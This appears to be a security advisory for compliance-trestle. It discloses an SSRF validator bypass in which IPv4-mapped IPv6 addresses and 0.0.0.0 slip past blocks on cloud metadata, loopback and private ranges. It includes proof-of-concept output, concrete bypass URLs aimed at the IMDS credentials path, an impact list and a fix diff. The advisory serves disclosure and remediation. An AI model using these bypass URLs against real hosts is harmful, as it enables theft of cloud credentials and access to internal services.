Details
Observed output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's is_global/is_private reclassification IS active here; the bypass nevertheless works because this validator uses IPv6Address in IPv4Network(...) membership (which silently returns False for cross-version comparison), NOT the is_global predicate. The mechanism is therefore robust to CPython version:
Python: 3.12.13
compliance-trestle: 4.0.3
::ffff:169.254.169.254 is_global=False is_private=True in IPv4Network('169.254.0.0/16')=False
::ffff:127.0.0.1 is_global=False is_private=True in IPv4Network('169.254.0.0/16')=False
::ffff:10.0.0.1 is_global=False is_private=True in IPv4Network('169.254.0.0/16')=False
[NEG-1: literal 169.254.169.254]
URL: https://169.254.169.254:18560/latest/meta-data/
Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se (expected)
[NEG-2: literal 127.0.0.1]
URL: https://127.0.0.1:18560/admin
Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi (expected)
[NEG-3: metadata.google.internal]
URL: https://metadata.google.internal:18560/
Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi (expected)
[NEG-4: literal 10.0.0.1 RFC1918]
URL: https://10.0.0.1:18560/admin
Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i (expected)
[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]
URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin
Validator: VALIDATION PASSED (*** UNEXPECTED ***)
Connectivity: TimeoutError: timed out
[BYPASS-2: 0.0.0.0 reaches localhost]
URL: https://0.0.0.0:18560/admin
Validator: VALIDATION PASSED (*** UNEXPECTED ***)
Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF'
[BYPASS-3: IPv4-mapped IPv6 loopback]
URL: https://[::ffff:127.0.0.1]:18560/admin
Validator: VALIDATION PASSED (*** UNEXPECTED ***)
Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF'
[BYPASS-4: IPv4-mapped IPv6 RFC 1918]
URL: https://[::ffff:10.0.0.1]:18560/admin
Validator: VALIDATION PASSED (*** UNEXPECTED ***)
Connectivity: RemoteDisconnected: Remote end closed connection without response
(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of is_global-independence: even with CPython's CVE-2024-4032 fix active (is_global=False, is_private=True), the validator's in IPv4Network(...) membership check still returns False, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/::, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)
Negative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass URLSecurityValidator.validate_url() on the latest patched release.
Impact
- SSRF to AWS / Azure / GCP / Alibaba IMDS via
https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/<role>-> short-lived role credentials exfiltrated through the cached fetch. - SSRF to loopback administrative interfaces via
https://0.0.0.0:PORT/orhttps://[::ffff:127.0.0.1]:PORT/-> access to local-only admin endpoints (Docker socket onunix://, Prometheus, etcd, Kubelet) that the validator was supposed to deny. - SSRF to RFC 1918 internal services via
https://[::ffff:10.0.0.1]/...even whenTRESTLE_BLOCK_PRIVATE_IPS=trueis explicitly set, defeating the operator's defense-in-depth posture. - The cache-write traversal protection (
PathSecurityValidator.validate_url_path_for_cache+validate_cache_path) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.
Suggested fix
Normalize every resolved IP to its canonical IPv4 form before membership checks, and add 0.0.0.0 to the always-blocked set. Diff sketch against trestle/core/remote/security.py:
ALWAYS_BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('::1/128'),
ipaddress.ip_network('169.254.0.0/16'),
ipaddress.ip_network('fe80::/10'),
ipaddress.ip_network('0.0.0.0/8'), # IPv4 "this network", reaches localhost on Linux
ipaddress.ip_network('::/128'), # IPv6 unspecified
]
def _canonicalize_ip(self, ip_addr):
"""Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form."""
if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:
return ip_addr.ipv4_mapped
return ip_addr
def _check_blocked_networks(self, ip_addr, hostname):
ip_addr = self._canonicalize_ip(ip_addr)
for network in ALWAYS_BLOCKED_NETWORKS:
if ip_addr.version == network.version and ip_addr in network:
raise TrestleError(...)
def _check_private_networks(self, ip_addr, hostname):
ip_addr = self._canonicalize_ip(ip_addr)
# ... same canonicalization before block_private_ip / warn_private_ip
Also add the canonicalized literal to _check_metadata_endpoints:
def _check_metadata_endpoints(self, hostname):
# Canonicalize bracketed IPv6 literal hostnames before exact-match
canonical = hostname.strip('[]')
try:
canonical_ip = ipaddress.ip_address(canonical)
if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:
canonical = str(canonical_ip.ipv4_mapped)
except ValueError:
pass
if canonical in METADATA_HOSTNAMES:
raise TrestleError(...)
This mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node undici SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.
Credit
Reported by tonghuaroot.